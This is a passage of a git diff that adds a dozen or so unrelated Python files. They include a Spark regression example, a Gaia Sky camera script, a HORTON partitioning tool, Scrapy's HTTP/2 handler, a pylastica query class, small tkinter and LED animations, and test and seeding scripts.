import RegressionEvaluator +# $example off$ +from pyspark.sql import SparkSession + +if __name__ == "__main__": + spark = SparkSession\ + .builder\ + .appName("DecisionTreeRegressionExample")\ + .getOrCreate() + + # $example on$ + # Load the data stored in LIBSVM format as a DataFrame. + data = spark.read.format("libsvm").load("data/mllib/sample_libsvm_data.txt") + + # Automatically identify categorical features, and index them. + # We specify maxCategories so features with > 4 distinct values are treated as continuous. + featureIndexer =\ + VectorIndexer(inputCol="features", outputCol="indexedFeatures", maxCategories=4).fit(data) + + # Split the data into training and test sets (30% held out for testing) + (trainingData, testData) = data.randomSplit([0.7, 0.3]) + + # Train a DecisionTree model. + dt = DecisionTreeRegressor(featuresCol="indexedFeatures") + + # Chain indexer and tree in a Pipeline + pipeline = Pipeline(stages=[featureIndexer, dt]) + + # Train model. This also runs the indexer. + model = pipeline.fit(trainingData) + + # Make predictions. + predictions = model.transform(testData) + + # Select example rows to display. + predictions.select("prediction", "label", "features").show(5) + + # Select (prediction, true label) and compute test error + evaluator = RegressionEvaluator( + labelCol="label", predictionCol="prediction", metricName="rmse") + rmse = evaluator.evaluate(predictions) + print("Root Mean Squared Error (RMSE) on test data = %g" % rmse) + + treeModel = model.stages[1] + # summary only + print(treeModel) + # $example off$ + + spark.stop() diff --git a/pool/shard008/Python/0077942_cam-pos-rotation-test.py b/pool/shard008/Python/0077942_cam-pos-rotation-test.py new file mode 100644 index 0000000000000000000000000000000000000000..2fc1926abd897ee04e4ae2335cfaf7f838e120d6 --- /dev/null +++ b/pool/shard008/Python/0077942_cam-pos-rotation-test.py @@ -0,0 +1,36 @@ +# This script tests the positioning of the camera with relation to two objects. +# Created by Toni Sagrista + +from py4j.clientserver import ClientServer, JavaParameters + +gateway = ClientServer(java_parameters=JavaParameters(auto_convert=True)) +gs = gateway.entry_point + +gs.disableInput() +gs.cameraStop() +gs.minimizeInterfaceWindow() + +# Camera looks at sunny side of Earth +gs.setCameraPositionAndFocus("Earth", "Sun", 0, 30) +gs.sleep(3) + +# Camera looks at 50% sunny, 50% shady +gs.setCameraPositionAndFocus("Earth", "Sun", 90, 30) +gs.sleep(3) + +# Camera looks at shady side of Earth +gs.setCameraPositionAndFocus("Earth", "Sun", 180, 30) +gs.sleep(3) + +# Camera looks at sunny side of Mars +gs.setCameraPositionAndFocus("Mars", "Sun", 0, 30) +gs.sleep(3) + +# Camera looks at shady side of Mars +gs.setCameraPositionAndFocus("Mars", "Sun", 180, 30) +gs.sleep(3) + + +gs.enableInput() + +gateway.shutdown() diff --git a/pool/shard008/Python/0077947_horton-wpart.py b/pool/shard008/Python/0077947_horton-wpart.py new file mode 100644 index 0000000000000000000000000000000000000000..ecd53165af9b909cf58b57265b9659a6c8edfae3 --- /dev/null +++ b/pool/shard008/Python/0077947_horton-wpart.py @@ -0,0 +1,133 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# HORTON: Helpful Open-source Research TOol for N-fermion systems. +# Copyright (C) 2011-2017 The HORTON Development Team +# +# This file is part of HORTON. +# +# HORTON is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 3 +# of the License, or (at your option) any later version. +# +# HORTON is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see +# +# -- + + +import argparse, os, numpy as np + +from horton import IOData, Cell, ProAtomDB, log, BeckeMolGrid, \ + lebedev_laikov_npoints, AtomicGridSpec, __version__ +from horton.scripts.common import store_args, write_part_output, parse_h5, \ + check_output +from horton.scripts.wpart import wpart_slow_analysis, wpart_schemes + + +# All, except underflows, is *not* fine. +np.seterr(divide='raise', over='raise', invalid='raise') + + +def parse_args(): + parser = argparse.ArgumentParser(prog='horton-wpart.py', + description='Partition the density from a wavefunction file.') + parser.add_argument('-V', '--version', action='version', + version="%%(prog)s (HORTON version %s)" % __version__) + + parser.add_argument('wfn', + help='The wfn file. Supported formats: fchk, mkl, molden.input, wfn') + parser.add_argument('output', + help='The output destination in the form file.h5:group. The colon and ' + 'the group name are optional. When omitted, the root group of the ' + 'HDF5 file is used. ' + 'To mimick the behavior of HORTON 1.2.0 scripts, use ' + '"${prefix}_wpart.h5:wpart/${scheme}" where ${prefix} ' + 'is the name of the wfn file without extension and ${scheme} is ' + 'the partitioning scheme used.') + parser.add_argument('scheme', choices=sorted(wpart_schemes.keys()), + help='The scheme to be used for the partitioning') + parser.add_argument('atoms', default=None, nargs='?', + help='An HDF5 file with atomic reference densities.') + + parser.add_argument('--overwrite', default=False, action='store_true', + help='Overwrite existing output in the HDF5 file') + parser.add_argument('--debug', default=False, action='store_true', + help='Add additional internal results to a debug subgroup.') + parser.add_argument('--suffix', default=None, type=str, + help='Add an additional suffix to the HDF5 output group.') + + parser.add_argument('--grid', type=str, default='medium', + help='Specify the atomic integration grids. Six built-in pruned ' + 'grids are available: coarse, medium, fine, veryfine, ultrafine, ' + 'insane. [default=%(default)s] Not all elements are supported ' + 'for each grid type. See documentation for more details and other ' + 'possible arguments for this option that allow a more ' + 'fine-grained control of the atomic integration grid.') + parser.add_argument('-e', '--epsilon', default=1e-8, type=float, + help='Allow errors on the computed electron density of this magnitude ' + 'for the sake of efficiency.') + parser.add_argument('--maxiter', '-i', default=500, type=int, + help='The maximum allowed number of iterations. [default=%(default)s]') + parser.add_argument('--threshold', '-t', default=1e-6, type=float, + help='The iterative scheme is converged when the maximum change of ' + 'the charges between two iterations drops below this threshold. ' + '[default=%(default)s]') + parser.add_argument('--lmax', default=3, type=int, + help='The maximum angular momentum to consider in multipole expansions') + parser.add_argument('--slow', default=False, action='store_true', + help='Also compute the more expensive AIM properties that require the ' + 'AIM overlap matrices.') + + return parser.parse_args() + + +def main(): + args = parse_args() + + fn_h5, grp_name = parse_h5(args.output, 'output') + # check if the group is already present (and not empty) in the output file + if check_output(fn_h5, grp_name, args.overwrite): + return + + # Load the system + mol = IOData.from_file(args.wfn) + + # Define a list of optional arguments for the WPartClass: + WPartClass = wpart_schemes[args.scheme] + kwargs = dict((key, val) for key, val in vars(args).iteritems() if key in WPartClass.options) + + # Load the proatomdb + if args.atoms is not None: + proatomdb = ProAtomDB.from_file(args.atoms) + proatomdb.normalize() + kwargs['proatomdb'] = proatomdb + else: + proatomdb = None + + # Run the partitioning + agspec = AtomicGridSpec(args.grid) + grid = BeckeMolGrid(mol.coordinates, mol.numbers, mol.pseudo_numbers, agspec, mode='only') + dm_full = mol.get_dm_full() + moldens = mol.obasis.compute_grid_density_dm(dm_full, grid.points, epsilon=args.epsilon) + dm_spin = mol.get_dm_spin() + if dm_spin is not None: + kwargs['spindens'] = mol.obasis.compute_grid_density_dm(dm_spin, grid.points, epsilon=args.epsilon) + wpart = wpart_schemes[args.scheme](mol.coordinates, mol.numbers, mol.pseudo_numbers,grid, moldens, **kwargs) + keys = wpart.do_all() + + if args.slow: + # ugly hack for the slow analysis involving the AIM overlap operators. + wpart_slow_analysis(wpart, mol) + keys = list(wpart.cache.iterkeys(tags='o')) + + write_part_output(fn_h5, grp_name, wpart, keys, args) + + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0077951_login.py b/pool/shard008/Python/0077951_login.py new file mode 100644 index 0000000000000000000000000000000000000000..c4a673aeb49ebd4a93987eeceb6559280cdccc43 --- /dev/null +++ b/pool/shard008/Python/0077951_login.py @@ -0,0 +1,28 @@ +#!/usr/local/bin/python3 +# ^^^ this is bad practice, DON'T do as I did! +import cgi +import cgitb # debugging +from assets import * + +print("Content-Type: text/html;charset=utf-8") +print() + +cgitb.enable() # enable debugging +loggedIn = False + +# header +showHeader() + +# content +startTag("div", id="container") # start container +dispHTML("h3", contents="Login") +loginForm = cgi.FieldStorage() +startTag("form", id="login-form", method="POST", action="main.py") # login form +dispHTML("p", contents="Password:", newLine=False) +dispHTML("input", type="password", name="password") +dispHTML("button", contents="submit") +endTag("form") #  end login form +endTag("div") # end container + +# footer +showFooter() diff --git a/pool/shard008/Python/0077958_test_authenticator_person.py b/pool/shard008/Python/0077958_test_authenticator_person.py new file mode 100644 index 0000000000000000000000000000000000000000..81851edbcaded055d54b9d1e564ed1660f453c84 --- /dev/null +++ b/pool/shard008/Python/0077958_test_authenticator_person.py @@ -0,0 +1,75 @@ +# encoding: utf-8 + +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +''' +@date: 15/8/2017 +@author: Luis Zarate Montero +@contact: luis.zarate@solvosoft.com +@license: GPLv3 +''' + +from corebase.test.person import BasePersonTest +from corebase.test.institution_utils import create_institution +from person.models import AuthenticatePersonDataRequest + + +class AuthenticatorPersonCase(BasePersonTest): + + def authenticate(self, **kwargs): + identification = kwargs.get('identification', self.person) + algorithm = kwargs.get('algorithm', 'sha512') + response = self.client.authenticate( + identification, algorithm=algorithm) + return response + + def test_authenticate(self): + response = self.authenticate() + self.ok_test(response) + self.assertIsNotNone(AuthenticatePersonDataRequest.objects.filter( + code=response['code']).first()) + + def test_algorithms(self): + + for algorithm in ['sha256', 'sha384', 'sha512']: + response = self.authenticate(algorithm=algorithm) + self.ok_test(response) + + def test_own_authenticate(self): + response = self.own_authenticate() + self.ok_test(response) + self.assertIsNotNone(AuthenticatePersonDataRequest.objects.filter( + code=response['code']).first()) + + def test_check_wrong_encrypt_authenticate(self): + """if all credential are well but data is encrypted with other private + key""" + institution2 = create_institution(self.user) +# url = "https://institution2.com/notify" +# create_url(institution2, url=url) + + def edata_fun(str_data, etype='sign'): + return self.dummy_encrypt(str_data, institution2.public_key) + + response = self.own_authenticate( + edata=edata_fun, + public_certificate=institution2.public_certificate + ) + + self.check_wrong_sign_test(response) +# + + def test_wrong_hashsum(self): + response = self.own_authenticate( + hashsum="bd267a725dc16fc0fa33c267af52a25779b8dd628d0df26e5e8813505df8bef05") + self.wrong_hashsum_test(response) diff --git a/pool/shard008/Python/0077962_http2.py b/pool/shard008/Python/0077962_http2.py new file mode 100644 index 0000000000000000000000000000000000000000..7bb88a1937fa15b572b6df950141cd462cde3176 --- /dev/null +++ b/pool/shard008/Python/0077962_http2.py @@ -0,0 +1,129 @@ +import warnings +from time import time +from typing import Optional, Type, TypeVar +from urllib.parse import urldefrag + +from twisted.internet.base import DelayedCall +from twisted.internet.defer import Deferred +from twisted.internet.error import TimeoutError +from twisted.web.client import URI + +from scrapy.core.downloader.contextfactory import load_context_factory_from_settings +from scrapy.core.downloader.webclient import _parse +from scrapy.core.http2.agent import H2Agent, H2ConnectionPool, ScrapyProxyH2Agent +from scrapy.crawler import Crawler +from scrapy.http import Request, Response +from scrapy.settings import Settings +from scrapy.spiders import Spider +from scrapy.utils.python import to_bytes + + +H2DownloadHandlerOrSubclass = TypeVar("H2DownloadHandlerOrSubclass", bound="H2DownloadHandler") + + +class H2DownloadHandler: + def __init__(self, settings: Settings, crawler: Optional[Crawler] = None): + self._crawler = crawler + + from twisted.internet import reactor + self._pool = H2ConnectionPool(reactor, settings) + self._context_factory = load_context_factory_from_settings(settings, crawler) + + @classmethod + def from_crawler(cls: Type[H2DownloadHandlerOrSubclass], crawler: Crawler) -> H2DownloadHandlerOrSubclass: + return cls(crawler.settings, crawler) + + def download_request(self, request: Request, spider: Spider) -> Deferred: + agent = ScrapyH2Agent( + context_factory=self._context_factory, + pool=self._pool, + crawler=self._crawler, + ) + return agent.download_request(request, spider) + + def close(self) -> None: + self._pool.close_connections() + + +class ScrapyH2Agent: + _Agent = H2Agent + _ProxyAgent = ScrapyProxyH2Agent + + def __init__( + self, context_factory, + pool: H2ConnectionPool, + connect_timeout: int = 10, + bind_address: Optional[bytes] = None, + crawler: Optional[Crawler] = None, + ) -> None: + self._context_factory = context_factory + self._connect_timeout = connect_timeout + self._bind_address = bind_address + self._pool = pool + self._crawler = crawler + + def _get_agent(self, request: Request, timeout: Optional[float]) -> H2Agent: + from twisted.internet import reactor + bind_address = request.meta.get('bindaddress') or self._bind_address + proxy = request.meta.get('proxy') + if proxy: + _, _, proxy_host, proxy_port, proxy_params = _parse(proxy) + scheme = _parse(request.url)[0] + proxy_host = proxy_host.decode() + omit_connect_tunnel = b'noconnect' in proxy_params + if omit_connect_tunnel: + warnings.warn( + "Using HTTPS proxies in the noconnect mode is not " + "supported by the downloader handler. If you use Zyte " + "Smart Proxy Manager, it doesn't require this mode " + "anymore, so you should update scrapy-crawlera to " + "scrapy-zyte-smartproxy and remove '?noconnect' from the " + "Zyte Smart Proxy Manager URL." + ) + + if scheme == b'https' and not omit_connect_tunnel: + # ToDo + raise NotImplementedError('Tunneling via CONNECT method using HTTP/2.0 is not yet supported') + return self._ProxyAgent( + reactor=reactor, + context_factory=self._context_factory, + proxy_uri=URI.fromBytes(to_bytes(proxy, encoding='ascii')), + connect_timeout=timeout, + bind_address=bind_address, + pool=self._pool, + ) + + return self._Agent( + reactor=reactor, + context_factory=self._context_factory, + connect_timeout=timeout, + bind_address=bind_address, + pool=self._pool, + ) + + def download_request(self, request: Request, spider: Spider) -> Deferred: + from twisted.internet import reactor + timeout = request.meta.get('download_timeout') or self._connect_timeout + agent = self._get_agent(request, timeout) + + start_time = time() + d = agent.request(request, spider) + d.addCallback(self._cb_latency, request, start_time) + + timeout_cl = reactor.callLater(timeout, d.cancel) + d.addBoth(self._cb_timeout, request, timeout, timeout_cl) + return d + + @staticmethod + def _cb_latency(response: Response, request: Request, start_time: float) -> Response: + request.meta['download_latency'] = time() - start_time + return response + + @staticmethod + def _cb_timeout(response: Response, request: Request, timeout: float, timeout_cl: DelayedCall) -> Response: + if timeout_cl.active(): + timeout_cl.cancel() + return response + + url = urldefrag(request.url)[0] + raise TimeoutError(f"Getting {url} took longer than {timeout} seconds.") diff --git a/pool/shard008/Python/0077963_functionscore.py b/pool/shard008/Python/0077963_functionscore.py new file mode 100644 index 0000000000000000000000000000000000000000..6e052b04a3c08c721e7224a1997791107c66758a --- /dev/null +++ b/pool/shard008/Python/0077963_functionscore.py @@ -0,0 +1,223 @@ +__author__ = 'Joe Linn' + +from .abstract import AbstractQuery +from pylastica.filter.abstractfilter import AbstractFilter + + +class FunctionScore(AbstractQuery): + """ + @see http://www.elasticsearch.org/guide/reference/query-dsl/function-score-query/ + """ + + BOOST_MODE_MULTIPLY = 'multiply' + BOOST_MODE_REPLACE = 'replace' + BOOST_MODE_SUM = 'sum' + BOOST_MODE_AVERAGE = 'avg' + BOOST_MODE_MAX = 'max' + BOOST_MODE_MIN = 'min' + + SCORE_MODE_MULTIPLY = 'multiply' + SCORE_MODE_SUM = 'sum' + SCORE_MODE_AVERAGE = 'avg' + SCORE_MODE_FIRST = 'first' + SCORE_MODE_MAX = 'max' + SCORE_MODE_MIN = 'min' + + DECAY_GAUSS = 'gauss' + DECAY_EXPONENTIAL = 'exp' + DECAY_LINEAR = 'linear' + + def __init__(self): + super(FunctionScore, self).__init__() + self._functions = [] + + def set_query(self, query): + """ + Set the query for this function_score query + @param query: a Query object + @type query: pylastica.query.AbstractQuery + @return: + @rtype: self + """ + if not isinstance(query, AbstractQuery): + raise TypeError("query must be and instance of a descendant of AbstractQuery: %r" % query) + self.set_param('query', query.to_dict()) + + def set_filter(self, filter): + """ + Set the filter for this function_score query + @param filter: + @type filter: AbstractFilter + @return: + @rtype: self + """ + return self.set_param('filter', filter.to_dict()) + + def add_function(self, function_type, function_params, filter=None, boost=None): + """ + Add a function to the function_score query + @param function_type: valid values are gauss, exp, linear, script_score + @type function_type: str + @param function_params: the body of the function. See documentation for proper syntax. + @type function_params: dict + @param filter: an optional filter to apply to the function + @type filter: pylastica.filter.AbstractFilter + @param boost: optional boost value associated with this function + @type boost: float + @return: + @rtype: self + """ + function = { + function_type: function_params + } + if filter is not None: + if not isinstance(filter, AbstractFilter): + raise TypeError("filter must be an instance of a descendant of AbstractFilter: %r" % filter) + function['filter'] = filter.to_dict() + if boost is not None: + function['boost'] = float(boost) + self._functions.append(function) + return self + + def add_script_score_function(self, script, filter=None, boost=None): + """ + Add a script_score function to the query + @param script: a Script object + @type script: pylastica.Script + @param filter: a filter object + @type filter: AbstractFilter + @param boost: optional boost value associated with this function + @type boost: float + @return: + @rtype: self + """ + return self.add_function('script_score', script.to_dict(), filter, boost) + + def add_decay_function(self, function, field, origin, scale, offset=None, decay=None, scale_weight=None, + filter=None, boost=None): + """ + Add a decay function to the query + @param function: the decay function type. See DECAY_* properties for valid options. + @type function: str + @param field: the document field on which to perform the decay function + @type field: str + @param origin: the origin value for this decay function + @type origin: str + @param scale: a scale to define the rate of decay for this function + @type scale: str + @param offset: optional. If defined, this function will only be computed for documents with a distance greater than this value. + @type offset: str + @param decay: optionally defines how documents are scored at the distance given in the scale parameter + @type decay: float + @param scale_weight: an optional factor by which to multiply the score at the value provided by the scale parameter + @type scale_weight: float + @param filter: a filter associated with this function + @type filter: AbstractFilter + @param boost: an optional boost value associated with this function + @type boost: float + @return: + @rtype: self + """ + valid_decay = [ + self.DECAY_GAUSS, + self.DECAY_EXPONENTIAL, + self.DECAY_LINEAR + ] + if function not in valid_decay: + raise ValueError("%s is not a supported decay function." % function) + function_params = { + field: { + 'origin': origin, + 'scale': scale + } + } + if offset is not None: + function_params[field]['offset'] = offset + if decay is not None: + function_params[field]['decay'] = float(decay) + if scale_weight is not None: + function_params[field]['scale_weight'] = float(scale_weight) + return self.add_function(function, function_params, filter, boost) + + def set_boost(self, boost=1.0): + """ + Set the boost for the query + @param boost: + @type boost: float + @return: + @rtype: self + """ + return self.set_param('boost', float(boost)) + + def set_max_boost(self, max_boost): + """ + Restrict the combined boost of the function_score query and its child query + @param max_boost: + @type max_boost: float + @return: + @rtype: self + """ + return self.set_param('max_boost', float(max_boost)) + + def set_boost_mode(self, mode): + """ + The boost mode determines how the score of this query is combined with that of the child query + @param mode: see BOOST_MODE_* properties for valid options. Default is multiply. + @type mode: str + @return: + @rtype: self + """ + valid_boost_modes = [ + self.BOOST_MODE_MULTIPLY, + self.BOOST_MODE_REPLACE, + self.BOOST_MODE_SUM, + self.BOOST_MODE_AVERAGE, + self.BOOST_MODE_MAX, + self.BOOST_MODE_MIN + ] + if mode not in valid_boost_modes: + raise ValueError("%s is not a valid boost mode." % mode) + return self.set_param('boost_mode', mode) + + def set_random_score(self, seed=None): + """ + If set, this query will return results in random order. + @param seed: Set a seed value to return results in the same random order for consistent pagination. + @type seed: int + @return: + @rtype: self + """ + seed_param = {} + if seed is not None: + seed_param['seed'] = int(seed) + return self.set_param('random_score', seed_param) + + def set_score_mode(self, mode): + """ + Set score method + @param mode: see SCORE_MODE_* properties for options. Default is multiply. + @type mode: str + @return: + @rtype: self + """ + valid_score_modes = [ + self.SCORE_MODE_MULTIPLY, + self.SCORE_MODE_SUM, + self.SCORE_MODE_AVERAGE, + self.SCORE_MODE_FIRST, + self.SCORE_MODE_MAX, + self.SCORE_MODE_MIN + ] + if mode not in valid_score_modes: + raise ValueError("%s is not a valid score mode." % mode) + return self.set_param('score_mode', mode) + + def to_dict(self): + """ + + @return: + @rtype: dict + """ + if len(self._functions): + self.set_param('functions', self._functions) + return super(FunctionScore, self).to_dict() diff --git a/pool/shard008/Python/0077966_test_add_group.py b/pool/shard008/Python/0077966_test_add_group.py new file mode 100644 index 0000000000000000000000000000000000000000..bf52df8ded0fb1c69eb2d1af138c513bc517c60e --- /dev/null +++ b/pool/shard008/Python/0077966_test_add_group.py @@ -0,0 +1,14 @@ +# -*- coding: utf-8 -*- +from model.group import Group +#@pytest.mark.parametrize("group", testdata, ids=[repr(x) for x in testdata]) +def test_testAddGroup1(app, db, json_groups): + group = json_groups + old_groups = db.get_group_list() + app.group.create(group) + # assert len(old_groups) + 1 == app.group.count() + new_groups = db.get_group_list() + old_groups.append(group) + assert sorted(old_groups, key=Group.id_or_max) == sorted(new_groups, key=Group.id_or_max) + + + diff --git a/pool/shard008/Python/0077975_making_the_ball_move.py b/pool/shard008/Python/0077975_making_the_ball_move.py new file mode 100644 index 0000000000000000000000000000000000000000..2ad062d8069022e73e239867d331ae6c46354a0a --- /dev/null +++ b/pool/shard008/Python/0077975_making_the_ball_move.py @@ -0,0 +1,38 @@ +#!/usr/bin/python3 +# based on chapter 13 of Python for Kids 199 +# "Adding some action making the ball move" +from tkinter import * +import random +import time + + +tk = Tk() +tk.title("Game") +tk.resizable(0, 0) +tk.wm_attributes("-topmost", 1) +canvas = Canvas(tk, width=500, height=400, bd=0, highlightthickness=0) +canvas.pack() +tk.update() + +class Ball: + def __init__(self,canvas,color): + self.canvas = canvas + self.id = canvas.create_oval(10,10,25,25, fill = color) + self.canvas.move(self.id,245,100) + + def draw(self): + self.canvas.move(self.id,0,-1) + +ball = Ball(canvas, 'red') + +while 1: + ball.draw() + tk.update_idletasks() + tk.update() + time.sleep(0.01) + + + + + + diff --git a/pool/shard008/Python/0077978_fitting_example_with_errors.py b/pool/shard008/Python/0077978_fitting_example_with_errors.py new file mode 100644 index 0000000000000000000000000000000000000000..a5b6fa35ac4a387472dbe0a527088afba924bd24 --- /dev/null +++ b/pool/shard008/Python/0077978_fitting_example_with_errors.py @@ -0,0 +1,102 @@ +# Linear regression example +# including confidence intervals for params +from scipy import linspace, polyval, polyfit, sqrt, stats, randn +from pylab import figure, plot, title, show , legend, xlabel, ylabel, grid +from numpy import arange, linspace, mean, std, zeros, ones +from numpy import loadtxt, array +import scipy.interpolate + +## definition +def mylinearregression(x,y,confidence_level): + """ + function to calculate simple linear regression + inputs: x,y-data pairs and a confidence level (in percent) + outputs: slope = b1, intercept = b0 its confidence intervals + and R (+squared) + """ + show_plots = 'on' # 'on' to show data, fit and conf interval + x_average = mean(x) + x_stdev = std(x) + y_average = mean(y) + y_stdev = std(y) + n = len(x) + # calculate linear regression coefficients + b1 = sum((x-x_average)*(y-y_average))/sum((x-x_average)**2) + b0 = y_average - b1 * x_average + #sample_correlation = b1*x_stdev/y_stdev + # calculate residuals (observed - predicted) + TotSS = sum((y-y_average)**2) # Total Sum of Squares + y_hat = b1 * x + b0 # fitted values + ResSS = sum((y-y_hat)**2) # Residual Sum of Squares + # calculate standard deviations of fit params + b1_stdev = sqrt((ResSS/(n-2))/sum((x-x_average)**2)) + b0_stdev = b1_stdev*sqrt(sum(x**2)/n) + # compute the mean square error (variance) and standard error (root of var), R2 and R + mserr = ResSS/n-2 + sterr = sqrt(mserr) + R2 = 1 - ResSS/TotSS + R = sqrt(R2) + # Pearson's r (this is the same as sample_correlation) + #pearsonsr = (sum(x*y)-(sum(x)*sum(y))/n)/sqrt((sum(x**2)-sum(x)**2/n)*(sum(y**2)-sum(y)**2/n)) + #print 'Pearsons r = %.3f ' %(pearsonsr) + + ## calculate confidence interval + # alpha + alpha = 1.-(confidence_level*1./100.) + # degrees of freedom (2 lost by estimates of slope and intercept) + DF = n-2 + # critical value (look up in t table) + cv = 2.01 + # Margin of error = Critical value x Standard error of the statistic + moe_b1 = cv * b1_stdev + moe_b0 = cv * b0_stdev + lower_b1 = b1-moe_b1 + upper_b1 = b1+moe_b1 + lower_b0 = b0-moe_b0 + upper_b0 = b0+moe_b0 + print ' Report of linear regression:' + print ' Slope = %.4f +/- %.4f, Intercept = %.4f +/- %.4f' %(b1, moe_b1, b0, moe_b0) + print ' %g percent confidence interval for slope: %.4f to %.4f' %(confidence_level, lower_b1, upper_b1) + print ' %g percent confidence interval for intercept: %.4f to %.4f' %(confidence_level, lower_b0, upper_b0) + # compute confidence lines for plot + lower = upper_b1 * x + lower_b0 + upper = lower_b1 * x + upper_b0 + + if show_plots == 'on': + figure(1000) + title('My Linear Regression') + xlabel('x') + ylabel('y') + grid() + plot(x,y,'bo', label='data') + plot(x,y_hat,'r.-', label='linear fit') + plot(x,lower,'c-') + plot(x,upper,'c-') + legend(loc='best',numpoints=3) + # are the residuals normally distributed? + figure(1001) + title('Residuals of fit') + xlabel('x') + ylabel('Residuals') + grid() + plot(x,y-y_hat,'mo') + return b1,b0,lower_b1,upper_b1,lower_b0,upper_b0,R2,R + +### program start: choose wiki data or random data +## WIKIPEDIA DATA +## http://en.wikipedia.org/wiki/Simple_linear_regression +x = [1.47,1.50,1.52,1.55,1.57,1.60,1.63,1.65,1.68,1.70,1.73,1.75,1.78,1.80,1.83] +y = [52.21,53.12,54.48,55.84,57.20,58.57,59.93,61.29,63.11,64.47,66.28,68.10,69.92,72.19,74.46] +x = array(x) +y = array(y) +## Random Sample data creation +n=50 +x=linspace(-5,5,n) +#parameters +a=0.7; b=-4 +y=polyval([a,b],x) +#add some noise +y=y+randn(n) +print ' Run simple linear regression:' +b1,b0,lower_b1,upper_b1,lower_b0,upper_b0,R2,R = mylinearregression(x, y, 95) +show() diff --git a/pool/shard008/Python/0077980_users.py b/pool/shard008/Python/0077980_users.py new file mode 100644 index 0000000000000000000000000000000000000000..a78dba530c28900bab424ff8f9d070b1609001f8 --- /dev/null +++ b/pool/shard008/Python/0077980_users.py @@ -0,0 +1,94 @@ +#import model +import csv + +#insert data into the database + + +def load_users(session): +#populate users table with users + user_1 = ["Simon Says", "pass1"] + + user_2 = ["Black Mamba", "pass2"] + + user_3 = ["Matilda Berkhart", "pass3"] + + user_4 = ["Sesame Street", "pass4"] + + user_5 = ["Busta Move", "pass5"] + + user_6 = ["Monkey Butt", "pass6"] + + user_7 = ["Hakuna Matata", "pass7"] + + user_8 = ["Ape Attack", "pass8"] + + user_9 = ["Robot Ninja", "pass9"] + + user_10 = ["Turtle Dove", "pass10"] + + + + user1 = model.User( + name =user_1[0], + room=room) + + + user2 = model.User( + name =user_2[0], + password=user_2[1]) + + user3 = model.User( + name =user_3[0], + password=user_3[1]) + + + user4 = model.User( + name =user_4[0], + password=user_4[1]) + + user5 = model.User( + name =user_5[0], + password=user_5[1]) + + user6 = model.User( + name =user_6[0], + password=user_6[1]) + + user7 = model.User( + name =user_7[0], + password=user_7[1]) + + user8 = model.User( + name =user_8[0], + password=user_8[1]) + + user9 = model.User( + name =user_9[0], + password=user_9[1]) + + user10 = model.User( + name =user_10[0], + password=user_10[1]) + + + session.add(user1) + session.add(user2) + session.add(user3) + session.add(user4) + session.add(user5) + session.add(user6) + session.add(user7) + session.add(user8) + session.add(user9) + session.add(user10) + + session.commit() + +def main(session): + load_users(session) + + + +if __name__ == "__main__": + s = model.connect() + main(s) \ No newline at end of file diff --git a/pool/shard008/Python/0077983_pymonitor.py b/pool/shard008/Python/0077983_pymonitor.py new file mode 100644 index 0000000000000000000000000000000000000000..af0a52ca5383c5dadf6a3121bd5f868d41083675 --- /dev/null +++ b/pool/shard008/Python/0077983_pymonitor.py @@ -0,0 +1,74 @@ +#!/usr/bin/python3 +#-*- coding:utf-8 -*- +#pymonitor.py + +''' +单独启一个进程,让它监视服务进程。如果www目录下的文件有变化,那么就重启进程。 +''' +import os,sys,time +from watchdog.observers import Observer +from watchdog.events import FileSystemEventHandler +import subprocess + +def log(s): + print("[Monitor] %s" % s) +class MyFileSystemEventHandler(FileSystemEventHandler): + """docstring for MyFileSystemEventHandler""" + def __init__(self, fn): + super(MyFileSystemEventHandler, self).__init__() + self.restart = fn + def on_any_event(self,event): + if event.src_path.endswith(".py"): + log("Python source has changed:%s" % event.src_path) + self.restart() + +def kill_process(): + global process + if process: + log("Kill process %s....." % process.pid) + process.kill() + process.wait() + log("Process end with %s" % process.returncode) + process = None + +def start_process(): + global process,command + log("Start process %s ..." % command) + process = subprocess.Popen(command,stdin=sys.stdin,stdout=sys.stdout,stderr=sys.stderr) + +def restart_process(): + kill_process() + start_process() + +def start_watch(path): + #observer也是个进程 + #获取观察对象 + observer = Observer() + #添加计划,第一个是回调对象,第二个监视路径 + observer.schedule(MyFileSystemEventHandler(restart_process),path,recursive=True) + observer.start() + #开始启动子进程 + log("Wathching directory %s...." % path) + start_process() + #主进程一直等待 + try: + while True: + time.sleep(0.5) + except KeyboardInterrupt: + observer.stop() + observer.join() + +if __name__ == '__main__': + #去掉程序第一参数,python3 pymonitor 或者 ./pymonitor + argv = sys.argv[1:] + + if not argv: + print("Usage:python3(or ./) pymonitor app.py") + exit(0) + if argv[0] != "python3": + argv.insert(0,"python3") + command = argv + #监听路径 + path = os.path.abspath(".") + start_watch(path) + \ No newline at end of file diff --git a/pool/shard008/Python/0077992_Rainbows.py b/pool/shard008/Python/0077992_Rainbows.py new file mode 100644 index 0000000000000000000000000000000000000000..0701c19d63dc183d88a19ce42dd818d00130a9e1 --- /dev/null +++ b/pool/shard008/Python/0077992_Rainbows.py @@ -0,0 +1,38 @@ +from bibliopixel.animation.strip import Strip + + +class Rainbow(Strip): + """Generate rainbow distributed over 256 pixels. + If you want the full rainbow to fit in the number of pixels you + are using, use RainbowCycle instead + """ + + def pre_run(self): + self._step = 0 + + def step(self, amt=1): + for i in range(self._size): + h = (i + self._step) % 255 + self.layout.set(self._start + i, self.palette(h)) + + self._step += amt + overflow = self._step - 256 + if overflow >= 0: + self._step = overflow + + +class RainbowCycle(Strip): + """Generate rainbow wheel equally distributed over strip.""" + + def pre_run(self): + self._step = 0 + + def step(self, amt=1): + for i in range(self._size): + color = self.palette(i * 255 / self._size + self._step) + self.layout.set(self._start + i, color) + + self._step += amt + overflow = self._step - 256 + if overflow >= 0: + self._step = overflow diff --git a/pool/shard008/Python/0077997_graph.py b/pool/shard008/Python/0077997_graph.py new file mode 100644 index 0000000000000000000000000000000000000000..bb658dc0d91aa06358462f63b897697ae7089f38 --- 